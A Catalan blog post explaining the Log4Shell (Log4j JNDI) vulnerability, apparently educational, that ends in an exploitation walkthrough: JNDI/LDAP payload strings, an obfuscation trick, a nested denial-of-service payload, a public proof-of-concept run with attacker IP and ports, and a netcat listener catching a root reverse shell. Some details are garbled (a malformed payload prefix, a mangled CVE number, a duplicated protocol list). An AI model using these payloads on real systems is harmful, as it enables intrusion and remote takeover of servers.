LOG4j: Una de les vulnerabilitats més perilloses d’aquesta dècada
Què és log4j?
Per Fernando Manrique
Log4j és una biblioteca open source que permet als desenvolupadors de software triar la sortida i el nivell de granularitat dels missatges o logs (logging) a temps d’execució i no a temps de compilació. La configuració de sortida i granularitat dels missatges és realitzada a temps d’execució mitjançant l’ús d’arxius de configuració externs.
Per tant podríem dir que és una llibreria addicional de java que permet a la nostra aplicació mostrar missatges del que succeeix en aquesta. Gestiona part dels logs de la pròpia aplicació i és una de les llibreries més usades fins a l’actualitat.
Qui manté log4j?
Ralph goers segurament a les seves estones lliures i de manera gratuïta.
Quan i qui va descobrir aquesta vulnerabilitat?
Des que es descobreix fins que es publica la vulnerabilitat passen 2 setmanes.
Aquesta vulnerabilitat va ser descoberta per un treballador de Alibaba, informat el 24 de novembre i publicat el dia 9 de desembre.
Quines han estat les grans empreses afectades?
Cisco, Samsung, Tesla, Maincraft, Apple …
Com funciona?:
Un atacant només ha de fer una petició al servidor vulnerable perquè quedi registrat el payload i aquest executarà codi en el sistema remot.
Una vegada registrat, s’identifica com una execució i càrrega per mitjà de LDAP el codi maliciós.
log4j interpreta al payload.
JNDI:
És una interfície de software (API) que proporciona funcionalitats de nomenat i directori a les aplicacions escrites usant Java.
La API JNDI permet escriure codi Java que realitzi operacions sobre directoris. És una API uniforme a tots els tipus de serveis de directoris.
JNDI: permet carregar codi maliciós d’una font externa.
Per tant, capa de JNDI SPI, permet usar els protocols per a fer una petició i obtenir una resposta, podent usar-se per a una execució remota.
Protocols més perillosos que s’estan usant:
-
- LDAP
- DNS
- LDAP
NOTA: Està des de l’any 2016, per tant la vulnerabilitat ja existia però no ha estat descoberta fins aquesta any.
Curiositats:
Apple: En el nom del dispositiu es posa el nom del propi payload, aquest serà enviat i interpretat en els servidors de apple.
Alguns dels exemples pels quals es pot passar el payload:
- Paquets de xarxa
- Seqüència
- Nom del dispositiu
- Formularis
NOTA: Gairebé tot internet és vulnerable a log4shell
Esquema d’atac:
Imatge obtinguda de: https://www.ipsec.mx/blog/el-ataque-jndi-log4j-y-como-prevenirlo/
Ejecución remota de código:
- Com s’executa:
Es necessitarà un servidor DNS per a analitzar les màquines vulnerables i un servidor LDAP per a descarregar el codi maliciós. - Payload base: &{jndi:ldap://vulnerable.com}
- Cerca del mateix en els logs: utilitzant la funcionalitat de grep/*zgrep
NOTA: El problema és que sec pot fent-ho gairebé indetectable. El payload es pot ofuscar ràpidament amb mètodes d’ofuscació senzilla.
Exemple d’ofuscament simple:
Separar les lletres amb ${::-lletra}, de manera que continuï funcionant.
Denegació de Servei:
1.- payload:
${${::-${::-$${::-$}}}}
Exemple d’Explotació: CVE-202144228
>>> clonem el projecte:
github: https://github.com/kozmer/log4j-shell-poc.git
➔ mkdir log4j
➔ cd log4j
➔ git clone https://github.com/kozmer/log4j-shell-poc.git
>>> Instal·lem docker
docker build -t log4j-shell-poc
docker run –network host log4j-shell-poc
En el navegador:
Aixeca l’aplicació vulnerable, la qual cosa s’insereixi es registra en el log4j
>>> Explotació: descarregar i instal·lar: jdk version – 8u202-b08
Adaptar el exploit per al nostre path del jdk.
>>> Posem el servidor de la màquina atacant a l’escolta com root i generem el payload
python3 poc.py –userip [ip de la màquina atacant] –webport [8080] –lport [3000]
La següent línia serveix per a acceptar la connexió reversa netcat listener:
sudo nc -nvlp 3000
>> Introduir a l’input de la màquina vulnerable el payload obtingut, això ens generarà una shell remot a la màquina vulnerable com root:
Com sempre dic i no em canso de dir I LOVE CHAMALEON 🙂 #camaleondigital.
